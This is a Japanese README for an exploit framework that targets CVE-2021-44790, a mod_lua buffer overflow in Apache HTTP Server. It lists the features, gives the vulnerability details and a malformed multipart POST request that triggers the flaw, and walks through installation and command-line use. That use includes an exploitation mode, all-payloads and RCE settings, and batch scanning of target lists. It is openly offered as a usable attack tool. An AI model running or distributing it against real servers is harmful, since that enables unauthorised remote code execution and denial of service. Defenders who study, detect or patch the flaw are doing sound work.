🔥 CVE-2021-44790 - Apache mod_lua バッファオーバーフローエクスプロイト
📋 概要
Apache mod_lua バッファオーバーフローエクスプロイトは、Apache HTTP Server 2.4.x の mod_lua モジュールに存在する重大なバッファオーバーフロー脆弱性 CVE-2021-44790 を対象とした、高度なエンタープライズグレードのエクスプロイトプラットフォームです。このフレームワークは、包括的なフィンガープリンティング、インテリジェントなスクリプト発見、マルチステージスキャン、プロフェッショナルなレポート機能を備え、95%以上の信頼度で検出します。
⚡ 主な機能
| 機能 | 説明 |
|---|
| 🔍 高度なフィンガープリンティング | Apacheバージョン、mod_lua、OS、アーキテクチャ、WAF、CDN、コンテナ、クラウドプロバイダーの検出 |
| 🎯 インテリジェントな発見 | robots.txt、sitemap、HTML解析、JavaScript抽出など7種類以上の発見手法 |
| 💥 マルチステージスキャン | 接続 → フィンガープリント → 発見 → 検証 → エクスプロイト → レポート |
| 🧩 拡張可能なプラグインシステム | 将来のCVEに対応するための簡単なプラグイン開発 |
| 🌐 スマートHTTPエンジン | 接続プール、リトライ、HTTP/2サポート、レート制限 |
| 📊 包括的なレポート | インタラクティブなダッシュボード付きのJSON、HTML、Markdown、PDF |
| 🎨 美しいターミナルUI | プログレスバー、テーブル、色分け出力を備えたRichライブラリ |
| 💾 リサーチデータベース | 完全なスキャン履歴とクエリサポートを備えたSQLiteストレージ |
| 📸 スクリーンショット取得 | 証拠収集のためのWebページの自動スクリーンショット |
| 🚀 高性能 | 20以上の同時スレッド、100以上の接続プール |
🎯 脆弱性の詳細
| 属性 | 値 |
|---|
| CVE ID | CVE-2021-44790 |
| 脆弱性 | バッファオーバーフロー(整数アンダーフロー) |
| 影響を受けるソフトウェア | Apache HTTP Server 2.4.0 ~ 2.4.51 |
| 修正バージョン | Apache HTTP Server 2.4.52以降 |
| コンポーネント | mod_lua モジュール |
| 攻撃ベクトル | ネットワーク(リモート) |
| CVSSスコア | 9.8(緊急) |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |
| エクスプロイトの成熟度 | 概念実証(PoC)利用可能 |
技術的説明
この脆弱性は、mod_lua モジュールが multipart/form-data リクエストを処理する際に存在します。lua_request_parsebody() 関数の整数アンダーフローにより、ヒープベースのバッファオーバーフローが発生し、リモートコード実行につながる可能性があります。
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
📸 スクリーンショット
| メインインターフェース | フィンガープリント結果 |
|---|
 |  |
| スキャン進行状況 | HTMLレポートダッシュボード |
|---|
 |  |
🚀 クイックスタート
インストール
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
基本的な使用方法
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
📋 詳細な使用方法
コマンドラインオプション
python3 exploit.py [TARGET] [OPTIONS]
| オプション | 説明 | 例 |
|---|
TARGET | ターゲットURL | http://target.com |
--config FILE | 設定ファイル | --config config.yaml |
--threads N | スレッド数 | --threads 30 |
--timeout N | リクエストタイムアウト(秒) | --timeout 15 |
--proxy URL | プロキシURL | --proxy http://127.0.0.1:8080 |
--verbose | 詳細出力 | --verbose |
--scan-only | エクスプロイトなしでスキャンのみ実行 | --scan-only |
--exploit | エクスプロイトを有効化 | --exploit |
--all-payloads | すべてのペイロードを使用 | --all-payloads |
--report FORMAT | レポート形式(json/html/markdown/all) | --report all |
--output DIR | 出力ディレクトリ | --output /path/to/reports/ |
--research | リサーチモードを有効化 | --research |
--database FILE | データベースパス | --database luastorm.db |
--screenshot | スクリーンショットを撮影 | --screenshot |
--batch FILE | ターゲットを含むバッチファイル | --batch targets.txt |
--query SQL | データベースクエリを実行 | --query "SELECT * FROM targets" |
使用例
1. 基本的な脆弱性評価
python3 exploit.py https://example.com --verbose --report all
2. 企業環境スキャン
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
3. 本格的なペネトレーションテスト
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
4. バッチスキャン
python3 exploit.py --batch targets.txt --config config.yaml
5. データベースクエリ
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
⚙️ 設定
config.yaml
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
📊 レポート